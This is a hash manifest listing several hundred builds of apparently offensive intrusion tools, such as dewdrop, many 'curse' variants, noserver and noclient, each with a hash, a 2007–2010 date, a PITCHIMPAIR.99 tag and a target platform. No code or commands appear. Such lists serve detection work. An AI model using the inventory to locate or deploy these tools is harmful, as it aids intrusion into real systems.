+9A9A09A2A20B7591476551A515D714B60BE88468 Tue Mar 9 22:30:03 2010 [PITCHIMPAIR.99] dewdrop_tipoff__v__3.1.6.1_x86-linux +14B691DE132C33F72ECD1DF580945BB7A736EC90 Tue Mar 30 13:50:49 2010 [PITCHIMPAIR.99] dewdrop_tipoff__v__3.1.7.2_x86_64-linux +36A5D7B0876BE48E18BAF9190374A164D0F48262 Thu May 6 16:38:03 2010 [PITCHIMPAIR.99] dewdrop_tipoff__v__3.1.8.1_x86-linux +8FA6EA62B079BEFD5706D4D94EC9955824EBD04D Thu May 6 15:23:15 2010 [PITCHIMPAIR.99] dewdrop_tipoff__v__3.1.8.2_x86_64-linux +C8FCCC7C232060429AD74855DBBD4685079E4855 Mon Sep 20 16:34:11 2010 [PITCHIMPAIR.99] dewdrop_tipoff__v__3.1.8.3_ia64-hp-hpux11.23 +51FFB2D977139410C271823A95756A2BA89A1FEC Fri Sep 3 21:38:44 2010 [PITCHIMPAIR.99] dewdrop_tipoff__v__3.2.0.1_x86_64-freebsd +EBC14A05EEA63F2DEED0C0C47149F8A06027A505 Thu Mar 6 17:40:19 2008 [PITCHIMPAIR.99] cursebingo.sunos5.10_v.1.0.1.2 +DD3B0FDD9632C8EFAC9C8905E45B1B59BF363896 Mon Mar 15 15:02:26 2010 [PITCHIMPAIR.99] cursebingo.v2.0.0.3.sunos5.8_v.solaris +55E44024627B549E84C8C27CF4113AB9B38E949B Thu Mar 6 21:06:19 2008 [PITCHIMPAIR.99] cursebongo.sunos5.10_v.1.0.0.4 +BCC62FD13AE9E6D25AD929368A0C1EFC0E19F4C2 Tue Jun 23 18:52:29 2009 [PITCHIMPAIR.99] cursebongo.sunos5.8_v.1.1.0.1 +E3BFC3D148D122EAA19486572324067E184C7101 Mon May 3 12:23:09 2010 [PITCHIMPAIR.99] cursebongo.sunos5.8_v.2.0.0.1 +325315A84E86BEDB22FEB8C53F17693398D80870 Mon Nov 3 15:29:43 2008 [PITCHIMPAIR.99] cursechicken.sunos5.8_v.1.0.0.1 +5CB4B8F44FAEBF161DF6375D5A487970ECEC9A90 Fri Apr 24 16:39:03 2009 [PITCHIMPAIR.99] cursechicken.sunos5.8_v.1.0.1.4 +2464A25D474DC759EFE969CB380532FCF922A0E0 Tue Aug 11 16:33:15 2009 [PITCHIMPAIR.99] curseflower.mswin32_v.1.0.0.3 +0E65B013AAD5B81112E56949E9D6D30FFEA474BD Wed Jan 27 16:34:35 2010 [PITCHIMPAIR.99] cursegismo.hpuxb.11.00_v.2.0.0.2 +4ACDE10A9711E48D5FA226133C9DB4BC67BD3949 Wed Jan 27 16:34:35 2010 [PITCHIMPAIR.99] cursegismo.linuxrh7.3_v.2.0.0.2 +C902B2BC1ED32434169AAD3FF755C8A47728E7DD Mon Apr 12 14:30:21 2010 [PITCHIMPAIR.99] cursegismo.sunos5.8.i386_v.2.0.0.5 +0B1BEE951CEF647C8BC4BF2F8E6A9C9A4A57FB6F Mon Jun 11 20:01:36 2007 [PITCHIMPAIR.99] cursegismo.sunos5.8_v.1.1.0.4 +F486D95D03B2D9070A2E56208C4B556D83A4F342 Wed Sep 19 12:22:03 2007 [PITCHIMPAIR.99] cursegismo.sunos5.8_v.1.1.1.1 +5A24A6FD269ACC87A13267BB8C08BC764567AAB2 Wed Oct 22 18:15:34 2008 [PITCHIMPAIR.99] cursegismo.sunos5.8_v.1.2.0.2 +B4999907D3D5ADBF5D7ABA8638C0B9599E323D38 Wed Jan 27 16:34:35 2010 [PITCHIMPAIR.99] cursegismo.sunos5.8_v.2.0.0.2 +CF9A77B015BCAAF45FCA0B2D3F6665A541E60715 Wed Sep 19 12:22:35 2007 [PITCHIMPAIR.99] cursegismo.sunos5.9_v.1.1.1.1 +C00C98CFAC4C0252D05A851577C691411C94F7AB Thu Apr 9 15:32:28 2009 [PITCHIMPAIR.99] cursehappy.hp-uxb.11.00_v.5.0.0.5 +753425D80691719641BEB4C10697E809E52968C8 Mon Mar 1 16:56:59 2010 [PITCHIMPAIR.99] cursehappy.hp-uxb.11.00_v.6.0.0.1 +6B0DE5F6785D916A892EC9A9E2A089E9BC6D2A83 Wed Jan 2 21:29:34 2008 [PITCHIMPAIR.99] cursehappy.hp-uxb.11.11_v.4.1.2.4 +D01B498B9B4AD4CABF325E8B08B8856F354CAD32 Thu Aug 19 19:52:11 2010 [PITCHIMPAIR.99] cursehappy.hpux11.00_v.6.1.0.1 +35F4AF07EC4DA61542818E5EB1D84552504D2250 Thu Aug 19 19:52:11 2010 [PITCHIMPAIR.99] cursehappy.linuxrh7.3_v.6.1.0.1 +626B78BA41C92BFE25EB781F065BE05F52F0945E Thu Apr 9 15:32:40 2009 [PITCHIMPAIR.99] cursehappy.mswin32_v.5.0.0.5 +5865A1D37C9955F6D087F030ED329299C3C8063F Mon Mar 1 16:56:59 2010 [PITCHIMPAIR.99] cursehappy.rhl7.3_v.6.0.0.1 +EB53B6F4B64A99CEE32CDD172C88996694E8E2B0 Thu Apr 9 15:32:51 2009 [PITCHIMPAIR.99] cursehappy.sunos5.8_v.5.0.0.5 +F86AE4CFF5E6EA8047E109FFA21F881B401D041B Mon Mar 1 16:56:59 2010 [PITCHIMPAIR.99] cursehappy.sunos5.8_v.6.0.0.1 +EE46F949447B458B77E8FE9EEAA90E76C2477C16 Thu Aug 19 19:52:11 2010 [PITCHIMPAIR.99] cursehappy.sunos5.8_v.6.1.0.1 +EAABC6D53943A5AF7770298F6671A7D5FE0450FD Wed Jan 2 21:34:56 2008 [PITCHIMPAIR.99] cursehappy.v4.1.2.4.sunos5.8_v.4.1.2.4_solaris8 +C67656C2A2944AEDF15A1D79FBF7157F071439AB Mon Mar 1 16:56:59 2010 [PITCHIMPAIR.99] cursehappy.win2k_v.6.0.0.1 +F01EDAE21B5356149662293EE8AACAFA16C82DF6 Thu Aug 19 19:52:11 2010 [PITCHIMPAIR.99] cursehappy.win2k_v.6.1.0.1 +4604AAA9EE4D3426AA68872F70A63A2D8B61175D Thu Sep 2 11:31:27 2010 [PITCHIMPAIR.99] cursehelper.aix5.1_v.2.1.0.2 +8017745B14C8A93373509A790D197E19AFA64F8E Thu Aug 6 14:57:59 2009 [PITCHIMPAIR.99] cursehelper.hp-uxb.11.00_v.1.1.0.1 +5E62F686F87F19ED1F3FC1454B5092575DE90FDB Thu Sep 2 11:31:27 2010 [PITCHIMPAIR.99] cursehelper.hpux11.00_v.2.1.0.2 +6169E3AD100D93DBAD71958887AE9BEE1768AD40 Thu Aug 6 14:58:09 2009 [PITCHIMPAIR.99] cursehelper.sunos5.8_v.1.1.0.1 +5D8F050A7D8226A1902943E7D19A083FE2F029AC Thu Sep 2 11:31:27 2010 [PITCHIMPAIR.99] cursehelper.sunos5.8_v.2.1.0.2 +BCC11B31E27BD870B57BCE3590E53C7D3D3519AA Thu Sep 2 11:31:27 2010 [PITCHIMPAIR.99] cursehelper.win2k_v.2.1.0.2 +BEB272807374C89E3A26273376B2E4181A3546B5 Wed Jun 11 18:30:26 2008 [PITCHIMPAIR.99] cursehole.v1.0.0.6.sunos5.9_v.solaris_9 +1BFA0B7097D7DE49A70778C9C15BA4D6CD2C1B5A Fri Sep 26 15:54:20 2008 [PITCHIMPAIR.99] cursehole.v1.1.0.3.aix5.1_v.aix_51 +6D0DCFDD7FF345D7082627CAE7EC09D312028364 Mon Aug 17 18:47:42 2009 [PITCHIMPAIR.99] cursehole.v1.1.1.1.aix5.1_v.aix_51 +A754B09008EB1B794A28EE7D33577784D11530F1 Wed Jan 2 22:23:15 2008 [PITCHIMPAIR.99] cursehummer.hp-uxb.11.11_v.1.0.0.11 +3AE68F2A1D7E7F33D97D92A68C97C41BC7E14158 Thu Jun 28 18:46:46 2007 [PITCHIMPAIR.99] cursehydrant.hp-uxb.11.00_v.6.0.0.6 +EC81050D73629DF1DFE2A83BC48B051198F76650 Wed Feb 18 11:36:47 2009 [PITCHIMPAIR.99] cursehydrant.hp-uxb.11.00_v.6.1.0.2 +A99C244EB9DCDBC15DA0614B2E43A1D30AA8E6B1 Thu Jun 28 18:47:52 2007 [PITCHIMPAIR.99] cursehydrant.hp-uxb.11.11_v.6.0.0.6 +42899EDB841462C8952C6BAF1AB508011B10BB60 Thu Feb 5 13:49:56 2009 [PITCHIMPAIR.99] cursehydrant.sunos5.8_v.6.1.0.2 +2C548B2EF6EB4BCE3E11C3416CDF9E66231F14B4 Tue Nov 10 11:29:38 2009 [PITCHIMPAIR.99] cursejoker.aix5.1_v.1.0.0.4 +A04998A8EEF6D3C8C894FC30D57E0F0DE1E9FD3E Fri May 1 14:32:25 2009 [PITCHIMPAIR.99] cursekettle.sunos5.8_v.1.0.0.2 +10AC8524DD902C71BEEEB134FAEEC45B354A3D52 Mon Sep 29 17:58:40 2008 [PITCHIMPAIR.99] curselion.aix.5.1_v.1.0.0.10 +867283FC215A81913F6A79157E98FD3D0D3D1129 Wed Apr 21 16:15:46 2010 [PITCHIMPAIR.99] cursemagic.aix5.1_v.2.0.1.1 +60CBB0EB2910E98D55B078AF7C4D6B3D2AAD834F Wed Apr 21 16:15:41 2010 [PITCHIMPAIR.99] cursemagic.hpux11.00_v.2.0.1.1 +5C1DBA4D3B6F82A566C06F7558EE56CC87FF2C9B Thu Dec 18 19:06:03 2008 [PITCHIMPAIR.99] cursemagic.linux2.4.21-37.elsmp_v.1.2.0.4 +D6A7719EA6BDADF688E6869C38972CDBB80F7F8A Tue Apr 14 18:41:05 2009 [PITCHIMPAIR.99] cursemagic.linux2.4.21-37.elsmp_v.1.3.0.5 +2E37B909528497FA164F41934CF217224B9D80BA Fri Apr 9 10:40:04 2010 [PITCHIMPAIR.99] cursemagic.linuxrh7.3_v.2.0.0.1 +AD81F2667AC9086FFDDEAE3D3F1FDF6CF62ED535 Tue Apr 20 18:56:43 2010 [PITCHIMPAIR.99] cursemagic.linuxrh7.3_v.2.0.1.1 +974F611717EC4EA732FAFC7AB4FED034C23C89FA Fri Nov 6 12:41:52 2009 [PITCHIMPAIR.99] cursemagic.rhl7.3_v.1.3.0.5 +B262511C79AD567625A7C455896C182BDAAE2D46 Fri Apr 9 10:37:34 2010 [PITCHIMPAIR.99] cursemagic.solaris5.8_v.2.0.0.1 +79C7F8C260DEF7133164DE5FC16E64081D4FB9E9 Tue Apr 20 18:56:43 2010 [PITCHIMPAIR.99] cursemagic.solaris5.8_v.2.0.1.1 +7BE5544D6C026C493A820BEF1B5C728A3884BBF1 Tue Jan 23 15:15:39 2007 [PITCHIMPAIR.99] cursemagic.sunos5.8_v.1.0.0.0 +DFF1C9217A561AEB3C3C53C9ADF9128FA5DD2E67 Wed Sep 19 12:28:08 2007 [PITCHIMPAIR.99] cursemagic.sunos5.8_v.1.1.0.3 +2427EFCC8A9BCAE4233987C67FFA0806D0937D39 Thu Dec 18 19:09:11 2008 [PITCHIMPAIR.99] cursemagic.sunos5.8_v.1.2.0.2 +BA9E69D19EC5BAD266CEC8FD800979EAB8FA83BA Tue Apr 14 18:41:15 2009 [PITCHIMPAIR.99] cursemagic.sunos5.8_v.1.3.0.5 +363679BA1BE58FB883C692D32ADD29A6A8827FC0 Wed Sep 19 12:28:40 2007 [PITCHIMPAIR.99] cursemagic.sunos5.9_v.1.1.0.3 +6CB5097A92E6573BF5BEE25BD60EE6E9FB91D8A2 Fri Aug 6 14:27:12 2010 [PITCHIMPAIR.99] cursenag.sunos5.8_v.1.0.0.1 +C9C12A732940A8417E34B3D930AFD56FBA4F8590 Thu Jul 15 15:49:59 2010 [PITCHIMPAIR.99] cursequake.sunos5.8_v.1.0.0.2 +197D74E0447DC634DBE3BB43F0AC79382776E8D5 Fri Jan 16 20:35:21 2009 [PITCHIMPAIR.99] curserazor.mswin32_v.1.3.0.5 +AC5D3BBAAC4CEFD5EF87473640A837C9231D2913 Thu Mar 26 12:52:26 2009 [PITCHIMPAIR.99] curserazor.mswin32_v.1.3.1.8 +2D0FA32F9FB41187B659192076F352EF2A766046 Mon Mar 12 21:15:54 2007 [PITCHIMPAIR.99] curserazor.sunos5.10_v.1.1 +1F3310D0DD6EDBA3DADD7FC582F80FCF484B8DCB Thu Mar 6 19:50:10 2008 [PITCHIMPAIR.99] curserazor.sunos5.10_v.1.1.1.1 +E8C331C7DDB733397D462B2D2003224B2FF31CD6 Mon Aug 4 15:49:51 2008 [PITCHIMPAIR.99] curserazor.sunos5.10_v.1.2.0.7 +562AC1612B4809EEDC365E5AB08F83D6D76F2FA5 Fri Jan 16 20:35:37 2009 [PITCHIMPAIR.99] curserazor.sunos5.10_v.1.3.0.5 +A6E0EEF387AE6288BF908531FAB930B029845F8D Thu Mar 26 12:52:35 2009 [PITCHIMPAIR.99] curserazor.sunos5.8_v.1.3.1.8 +67F870DBFD858F9E5E32985570F90401778FB1B0 Fri Feb 13 11:34:57 2009 [PITCHIMPAIR.99] curseroot.aix5.1_v.1.2.0.2 +6A54E04CEE196B456805EAF87DACE75F6FF47AF1 Tue May 19 18:51:00 2009 [PITCHIMPAIR.99] curseroot.aix5.1_v.1.2.2.9 +1E4FFEB80DF64564E4B978FD7856DE0414DB0FFA Fri Dec 11 14:02:36 2009 [PITCHIMPAIR.99] curseroot.aix5.1_v.2.0.0.3 +E37429381B9CBDE12C9925CA74E866F981F0E745 Wed Jan 6 19:52:30 2010 [PITCHIMPAIR.99] curseroot.hpuxb.11.00_v.2.0.0.3 +19A91D2FFF91F4547FC52266DF7D315AB1153574 Wed Jun 17 10:44:18 2009 [PITCHIMPAIR.99] curseroot.linux2.6.5-7.97-smp_v.1.2.2.9 +C03AC945A23EC8E81B9023D584A9B38E09DC823F Fri Dec 11 14:02:36 2009 [PITCHIMPAIR.99] curseroot.linux2.6.5-7.97-smp_v.2.0.0.3 +CCFF99B330F3F6219AE4454A21EADCD5BBF1DCDA Tue Jan 20 17:56:55 2009 [PITCHIMPAIR.99] curseroot.mswin32_v.1.2.0.2 +9944CEAE80BAB6F6954E03115DE0041656E68A87 Tue May 19 18:51:10 2009 [PITCHIMPAIR.99] curseroot.mswin32_v.1.2.2.9 +4E78122B28609F7C5A1D67F0542FA4373A6D75A5 Fri Feb 13 11:35:36 2009 [PITCHIMPAIR.99] curseroot.sunos5.8_v.1.2.0.2 +7E9C5620DE7A2E5E11A98A617D5C1568994503D8 Tue May 19 18:51:20 2009 [PITCHIMPAIR.99] curseroot.sunos5.8_v.1.2.2.9 +34F0268EE83DCDAB34FC8425235AF14F1E8788F7 Fri Dec 11 14:02:36 2009 [PITCHIMPAIR.99] curseroot.sunos5.8_v.2.0.0.3 +1DD63468E7DD5725C3B6F7835084CE3E964144DC Tue Aug 7 20:46:37 2007 [PITCHIMPAIR.99] curseroot.v1.1.0.3.sunos5.8_v.1.1.0.3_solaris8 +11B8EE38DF62D8D28F9060778FFEE0DFF8666CC7 Tue Aug 7 20:47:08 2007 [PITCHIMPAIR.99] curseroot.v1.1.0.3.sunos5.9_v.1.1.0.3_solaris9 +67F870DBFD858F9E5E32985570F90401778FB1B0 Fri Feb 13 11:34:57 2009 [PITCHIMPAIR.99] curseroot.v1.2.0.2.aix5.1_v.1.2.0.1 +CCFF99B330F3F6219AE4454A21EADCD5BBF1DCDA Tue Jan 20 17:56:55 2009 [PITCHIMPAIR.99] curseroot.v1.2.0.2.mswin32_v.1.2.0.1 +4E78122B28609F7C5A1D67F0542FA4373A6D75A5 Fri Feb 13 11:35:36 2009 [PITCHIMPAIR.99] curseroot.v1.2.0.2.sunos5.8_v.1.2.0.1 +BB9DF03020B80A5BC4D9EDDAEA4A8B34F19735A4 Fri Dec 11 14:02:36 2009 [PITCHIMPAIR.99] curseroot.win2k_v.2.0.0.3 +A07BDC6A2D56A09C0E014232B5D5BCE1529498B4 Tue Oct 26 16:47:40 2010 [PITCHIMPAIR.99] curseroot_flx.win2k.i686_v.1.0.0.4 +E3A9358FB97F0EA67CBDA58DDF38BA9D406522F5 Thu Jul 3 14:57:47 2008 [PITCHIMPAIR.99] cursesleepy.mswin32_v.1.0.0.5 +E591A8E4FC22D5C595C1AD3CBD925FDEAD001862 Thu Feb 18 20:59:37 2010 [PITCHIMPAIR.99] cursetails.aix5.1_v.1.0.0.1 +34A12F304E1B100FA7C0028766A01663C3316CB1 Thu Jan 21 15:37:56 2010 [PITCHIMPAIR.99] cursetingle.2.0.1.2.mswin32_v.aix +34A12F304E1B100FA7C0028766A01663C3316CB1 Thu Jan 21 15:37:56 2010 [PITCHIMPAIR.99] cursetingle.2.0.1.2.mswin32_v.solaris +34A12F304E1B100FA7C0028766A01663C3316CB1 Thu Jan 21 15:37:56 2010 [PITCHIMPAIR.99] cursetingle.2.0.1.2.mswin32_v.windows +1060A963216B43DCDFDF21955EC428C790B18DEC Thu Jul 10 13:12:31 2008 [PITCHIMPAIR.99] cursetingle.v1.0.0.7.mswin32_v.solaris_9 +1060A963216B43DCDFDF21955EC428C790B18DEC Thu Jul 10 13:12:31 2008 [PITCHIMPAIR.99] cursetingle.v1.0.0.7.mswin32_v.win_32 +D4A2E00CBD7F195DD64ED1F1CA0713421E98525F Thu Jul 10 13:12:39 2008 [PITCHIMPAIR.99] cursetingle.v1.0.0.7.sunos.5.9_v.solaris_9 +D4A2E00CBD7F195DD64ED1F1CA0713421E98525F Thu Jul 10 13:12:39 2008 [PITCHIMPAIR.99] cursetingle.v1.0.0.7.sunos.5.9_v.win_32 +EFB63216DCCB2D378CE7CCBE436DFF96E1622703 Thu Sep 18 16:41:49 2008 [PITCHIMPAIR.99] cursetingle.v1.1.1.1.aix.5.1_v.aix +D033E4F2A2A83E282972D6A316E569DD91824046 Thu Aug 27 16:43:55 2009 [PITCHIMPAIR.99] cursetingle.v2.0.0.1.aix.5.1_v.aix +D033E4F2A2A83E282972D6A316E569DD91824046 Thu Aug 27 16:43:55 2009 [PITCHIMPAIR.99] cursetingle.v2.0.0.1.aix.5.1_v.solaris +D033E4F2A2A83E282972D6A316E569DD91824046 Thu Aug 27 16:43:55 2009 [PITCHIMPAIR.99] cursetingle.v2.0.0.1.aix.5.1_v.windows +E08D141B1A48B6F347D41B0B5E72262B2EB8D591 Thu Aug 27 16:43:55 2009 [PITCHIMPAIR.99] cursetingle.v2.0.0.1.mswin32_v.aix +E08D141B1A48B6F347D41B0B5E72262B2EB8D591 Thu Aug 27 16:43:55 2009 [PITCHIMPAIR.99] cursetingle.v2.0.0.1.mswin32_v.solaris +E08D141B1A48B6F347D41B0B5E72262B2EB8D591 Thu Aug 27 16:43:55 2009 [PITCHIMPAIR.99] cursetingle.v2.0.0.1.mswin32_v.windows +AF2A9C345F5D4A93AFF6FB17F9AE141E71F9F8DA Thu Aug 27 16:43:55 2009 [PITCHIMPAIR.99] cursetingle.v2.0.0.1.sunos5.8_v.aix +AF2A9C345F5D4A93AFF6FB17F9AE141E71F9F8DA Thu Aug 27 16:43:55 2009 [PITCHIMPAIR.99] cursetingle.v2.0.0.1.sunos5.8_v.solaris +AF2A9C345F5D4A93AFF6FB17F9AE141E71F9F8DA Thu Aug 27 16:43:55 2009 [PITCHIMPAIR.99] cursetingle.v2.0.0.1.sunos5.8_v.windows +F5E2263123503D3A5D97378510EB4A6992C51EB8 Fri Jan 15 13:23:16 2010 [PITCHIMPAIR.99] cursetingle.v2.0.1.1.aix5.1_v.aix +F5E2263123503D3A5D97378510EB4A6992C51EB8 Fri Jan 15 13:23:16 2010 [PITCHIMPAIR.99] cursetingle.v2.0.1.1.aix5.1_v.aix.00000 +F5E2263123503D3A5D97378510EB4A6992C51EB8 Fri Jan 15 13:23:16 2010 [PITCHIMPAIR.99] cursetingle.v2.0.1.1.aix5.1_v.solaris +F5E2263123503D3A5D97378510EB4A6992C51EB8 Fri Jan 15 13:23:16 2010 [PITCHIMPAIR.99] cursetingle.v2.0.1.1.aix5.1_v.windows +4027F5663559D7E4E70ACDFD9738F71E5A4356CD Thu Jan 21 15:37:50 2010 [PITCHIMPAIR.99] cursetingle.v2.0.1.1.sunos5.8_v.aix +4027F5663559D7E4E70ACDFD9738F71E5A4356CD Thu Jan 21 15:37:50 2010 [PITCHIMPAIR.99] cursetingle.v2.0.1.1.sunos5.8_v.solaris +4027F5663559D7E4E70ACDFD9738F71E5A4356CD Thu Jan 21 15:37:50 2010 [PITCHIMPAIR.99] cursetingle.v2.0.1.1.sunos5.8_v.windows +7A31DA74408E4F22EEDFFE2A9FD6A2CEA2E43663 Thu Jul 22 13:02:03 2010 [PITCHIMPAIR.99] cursetingle_flx.v1.0.0.9.aix5.1.powerpc_v.flx_aix +A37B3BB008BE17E28326B941AC0E9225FDD81610 Thu Jan 7 13:12:25 2010 [PITCHIMPAIR.99] curseyo.win2k_v.1.0.0.1 +0747BBE647D5C26F80D601B2BE88144791ABC49B Wed Jun 16 12:12:52 2010 [PITCHIMPAIR.99] cursezinger.v1.0.0.1.linuxrh7.3_v.linux +0747BBE647D5C26F80D601B2BE88144791ABC49B Wed Jun 16 12:12:52 2010 [PITCHIMPAIR.99] cursezinger.v1.0.0.1.linuxrh7.3_v.windows +53A88E9B602AB509F1B0E4A79739DA22968A513E Wed Jun 16 13:00:05 2010 [PITCHIMPAIR.99] cursezinger.v1.0.0.1.win2k_v.linux +53A88E9B602AB509F1B0E4A79739DA22968A513E Wed Jun 16 13:00:05 2010 [PITCHIMPAIR.99] cursezinger.v1.0.0.1.win2k_v.windows +1A541AEB5AE5DFD0A1CE20A3A34A720CF88B2AD2 Fri Sep 17 17:04:54 2010 [PITCHIMPAIR.99] cursezinger.v1.1.0.3.linuxrh7.3_v.linux +1A541AEB5AE5DFD0A1CE20A3A34A720CF88B2AD2 Fri Sep 17 17:04:54 2010 [PITCHIMPAIR.99] cursezinger.v1.1.0.3.linuxrh7.3_v.windows +484E241C6B394FAC9846375CA097660984AEB05C Fri Sep 17 17:04:54 2010 [PITCHIMPAIR.99] cursezinger.v1.1.0.3.win2k_v.linux +484E241C6B394FAC9846375CA097660984AEB05C Fri Sep 17 17:04:54 2010 [PITCHIMPAIR.99] cursezinger.v1.1.0.3.win2k_v.windows +10A04575938D5021D973C62A69004F434FB1187E Wed Oct 13 12:39:38 2010 [PITCHIMPAIR.99] cursezinger.v1.2.0.1.win2k_v.windows +2DA2810AB2C2461ABF1BC138C12BBFB00AB3C688 Fri Oct 22 14:36:13 2010 [PITCHIMPAIR.99] cursezinger.v1.2.1.1.linuxrh7.3_v.linux +2DA2810AB2C2461ABF1BC138C12BBFB00AB3C688 Fri Oct 22 14:36:13 2010 [PITCHIMPAIR.99] cursezinger.v1.2.1.1.linuxrh7.3_v.windows +9683DB42BB49C0664EA9646BC49C1D4BFD9621EB Fri Oct 22 14:36:13 2010 [PITCHIMPAIR.99] cursezinger.v1.2.1.1.win2k_v.linux +9683DB42BB49C0664EA9646BC49C1D4BFD9621EB Fri Oct 22 14:36:13 2010 [PITCHIMPAIR.99] cursezinger.v1.2.1.1.win2k_v.windows +E994ECCC7805451EF06E0141C3BF554195D0B0F0 Thu Apr 19 17:19:35 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i386.unknown.freebsd-4.0-static +E994ECCC7805451EF06E0141C3BF554195D0B0F0 Thu Apr 19 17:19:35 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i386.unknown.freebsd-4.1-static +E994ECCC7805451EF06E0141C3BF554195D0B0F0 Thu Apr 19 17:19:35 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i386.unknown.freebsd-4.2-static +E994ECCC7805451EF06E0141C3BF554195D0B0F0 Thu Apr 19 17:19:35 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i386.unknown.freebsd-4.3-static +DB38D46AA92B6D0722384574D67B867ACB7A4D5F Thu Apr 19 17:19:29 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i386.unknown.freebsd-4.4-static +414DEE9C1ECDF977590B13BC95092DB8B4CE7FD1 Thu Apr 19 17:19:23 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i386.unknown.freebsd-4.5-static +414DEE9C1ECDF977590B13BC95092DB8B4CE7FD1 Thu Apr 19 17:19:23 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i386.unknown.freebsd-4.6-static +414DEE9C1ECDF977590B13BC95092DB8B4CE7FD1 Thu Apr 19 17:19:23 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i386.unknown.freebsd-4.7-static +414DEE9C1ECDF977590B13BC95092DB8B4CE7FD1 Thu Apr 19 17:19:23 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i386.unknown.freebsd-4.8-static +414DEE9C1ECDF977590B13BC95092DB8B4CE7FD1 Thu Apr 19 17:19:23 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i386.unknown.freebsd-4.9-static +E0623267BFFE8572F4F91EB0E53EF8AEF6EF512A Thu Apr 19 17:26:02 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i386.unknown.freebsd-6.0-static +9C308F7FCF3659029CF7ECA8FEACC36AE96FF77E Thu Apr 19 17:27:42 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i386.unknown.openbsd-3.4-static +E544191722D23895585F1A1AACB0B405EB75D126 Thu Apr 19 17:28:05 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i386.unknown.openbsd-3.7-static +AD8AD88399A2AF5F3FC94FD28A322E83B5281D80 Thu Apr 19 17:31:05 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i586.pc.linux.gnu.redhat-5.0-static +BDFDEB194B51871CAA5F7DCCB12F98340E80BCBB Thu Apr 19 17:43:10 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-sparc.unknown.linux.gnu.redhat-6.2-static +2E8955F20C953DD4359E879CEB7DA32B8E7ECCBD Fri Oct 16 18:37:41 2009 [PITCHIMPAIR.99] noserver-3.0.4.2-armv5b.linux-static +0CABC3F9B73C4866282BAED246918A00C66D50C3 Thu Apr 19 17:55:51 2007 [PITCHIMPAIR.99] noclient-3.0.3.6-i586.pc.linux.gnu +0CABC3F9B73C4866282BAED246918A00C66D50C3 Thu Apr 19 17:55:51 2007 [PITCHIMPAIR.99] noclient-3.0.3.6-i686.pc.linux.gnu +0CABC3F9B73C4866282BAED246918A00C66D50C3 Thu Apr 19 17:55:51 2007 [PITCHIMPAIR.99] noclient-3.0.3.6-i686.pc.linux.gnu.mandrake-8.1 +0CABC3F9B73C4866282BAED246918A00C66D50C3 Thu Apr 19 17:55:51 2007 [PITCHIMPAIR.99] noclient-3.0.3.6-i686.pc.linux.gnu.redhat-8.0 +0CABC3F9B73C4866282BAED246918A00C66D50C3 Thu Apr 19 17:55:51 2007 [PITCHIMPAIR.99] noclient-3.0.3.6-i686.pc.linux.gnu.redhat-9.0 +ABF218724A3649C6985EE969E3D38D22BA602628 Thu Apr 19 16:55:09 2007 [PITCHIMPAIR.99] noclient-3.0.4.1-i586.pc.linux.gnu +ABF218724A3649C6985EE969E3D38D22BA602628 Thu Apr 19 16:55:09 2007 [PITCHIMPAIR.99] noclient-3.0.4.1-i686.pc.linux.gnu +ABF218724A3649C6985EE969E3D38D22BA602628 Thu Apr 19 16:55:09 2007 [PITCHIMPAIR.99] noclient-3.0.4.1-i686.pc.linux.gnu.mandrake-8.1 +ABF218724A3649C6985EE969E3D38D22BA602628 Thu Apr 19 16:55:09 2007 [PITCHIMPAIR.99] noclient-3.0.4.1-i686.pc.linux.gnu.redhat-8.0 +ABF218724A3649C6985EE969E3D38D22BA602628 Thu Apr 19 16:55:09 2007 [PITCHIMPAIR.99] noclient-3.0.4.1-i686.pc.linux.gnu.redhat-9.0 +9EF33151BB5AF5F10C39BA34EB82A8060B30AF3C Thu Apr 19 17:56:29 2007 [PITCHIMPAIR.99] noserver-3.0.3.4-i386.pc.bsdi-2.1 +A2E61C15C818BA035300CB49B0C6375A9A5E7567 Thu Apr 19 17:07:09 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-alphaev6.dec.osf-4.0f +A2E61C15C818BA035300CB49B0C6375A9A5E7567 Thu Apr 19 17:07:09 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-alphaev6.dec.osf-5.1 +A2E61C15C818BA035300CB49B0C6375A9A5E7567 Thu Apr 19 17:07:09 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-alphaev6.dec.osf-5.1b +8CE44806C95846852DEEE26160B6A750EA2616C5 Thu Apr 19 17:06:02 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-alphaev67.unknown.linux.gnu.redhat-7.0 +7B1DA53ADD8D2DFAD3ECA171C72EAD83FC8FC2DD Thu Apr 19 17:11:53 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-hppa1.1.hp.hpux-10.20 +7B1DA53ADD8D2DFAD3ECA171C72EAD83FC8FC2DD Thu Apr 19 17:11:53 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-hppa1.1.hp.hpux-11.00 +7B1DA53ADD8D2DFAD3ECA171C72EAD83FC8FC2DD Thu Apr 19 17:11:53 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-hppa2.0-hp-hpux-10.20 +7B1DA53ADD8D2DFAD3ECA171C72EAD83FC8FC2DD Thu Apr 19 17:11:53 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-hppa2.0w-hp-hpux-11.00 +88CC11428903F63B239F4B3EE14015C2ABF26856 Thu Apr 19 17:13:51 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i386.pc.sco3.2v-5.0.5 +ECD231578D169E44FB6F895C82CE2D89919334C4 Thu Apr 19 17:14:35 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i386.pc.solaris-2.10 +ECD231578D169E44FB6F895C82CE2D89919334C4 Thu Apr 19 17:14:35 2007 [PITCHIMPAIR.99] noserver-3.0.4.1-i386.pc.solaris-2.6 